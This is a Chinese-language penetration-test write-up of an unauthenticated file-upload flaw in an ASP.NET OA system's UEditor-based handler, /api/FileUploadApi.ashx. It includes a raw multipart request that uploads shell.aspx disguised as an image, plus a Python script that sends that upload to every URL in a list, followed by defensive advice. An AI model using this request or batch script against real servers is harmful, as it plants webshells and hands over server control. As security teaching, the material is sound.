记一次某OA渗透测试有意思的文件上传漏洞挖掘经历以及分析
字数 912 2025-08-22 12:23:19
ASP.NET文件上传漏洞挖掘与分析教学文档
漏洞概述
本教学文档详细分析了一个ASP.NET环境中通过UEditor组件实现的文件上传漏洞,该漏洞允许攻击者上传恶意文件(如WebShell)并获取服务器控制权限。
漏洞发现过程
1. 初始发现
- 发现一个文件上传功能的登录框
- 初步测试SQL注入无果
- 进行目录扫描发现多个接口
2. 关键发现
- 发现
/api/FileUploadApi.ashx文件 - 确认该文件为ASP.NET处理程序(ASP.NET Handler)
- 识别出UEditor组件(常用于富文本编辑器的文件上传功能)
3. 接口分析
- 直接访问接口返回"接口错误"提示
- 表明需要特定参数才能正常使用该接口
漏洞挖掘关键步骤
1. 参数爆破
- 尝试爆破可能的参数名称
- 初步爆破未获得有效结果
2. 前端源码分析
- 检查相关JavaScript源码
- 发现关键参数线索:
DoWebUpload- 用于文件上传DoDelete- 用于文件删除
3. 漏洞验证
- 构造包含
method=DoWebUpload参数的请求 - 成功上传WebShell文件(如shell.aspx)
- 使用冰蝎等工具成功连接获取服务器权限
漏洞利用技术细节
1. 请求构造
POST /api/FileUploadApi.ashx?method=DoWebUpload HTTP/1.1
Host: target.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
------WebKitFormBoundary...
Content-Disposition: form-data; name="file"; filename="shell.aspx"
Content-Type: image/png
<%@ Page Language="C#" %>
...webshell代码...
------WebKitFormBoundary...
2. Python批量验证脚本
import requests
import os
# 设置代理(可选)
os.environ["http_proxy"] = "http://127.0.0.1:7890"
os.environ["https_proxy"] = "http://127.0.0.1:7890"
def poc(url=""):
# 目标URL
url = url + '/api/FileUploadApi.ashx?method=DoWebUpload'
# 构造恶意文件
files = {
'file': ('shell.aspx', '恶意内容', 'image/png')
}
# 请求头
headers = {
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'Origin': 'null',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'keep-alive'
}
try:
# 发送POST请求
response = requests.post(url, files=files, headers=headers, timeout=5)
print('Response Code:', response.status_code)
print('Response Text:', response.text)
except Exception as e:
print(e)
if __name__ == '__main__':
# 从文件读取目标URL列表
file_path = 'url.txt'
with open(file_path, 'r', encoding='utf-8') as file:
for line in file:
print("Testing:", line.strip())
poc("http://" + line.strip())
漏洞防御措施
1. 输入验证
- 严格验证上传文件的扩展名和内容类型
- 实现文件内容检查而不仅依赖文件头
2. 权限控制
- 限制上传接口的访问权限
- 实现身份验证和授权机制
3. 安全配置
- 禁用不必要的HTTP方法
- 配置上传目录无执行权限
- 定期更新UEditor等第三方组件
4. 日志监控
- 记录所有文件上传操作
- 设置异常上传行为告警
经验总结
- 细节决定成败:不能放过任何看似无关的细节,如接口错误提示
- 全面测试:在初步测试无果后,应尝试多种方法(如源码分析)
- 工具辅助:合理使用目录扫描、参数爆破等工具
- 验证利用:发现可疑点后要构造实际攻击验证漏洞真实性
扩展思考
- 类似ASP.NET Handler的漏洞模式在其他框架中是否存在?
- 如何自动化检测此类隐藏的文件上传接口?
- 除了UEditor,还有哪些常见组件可能存在类似风险?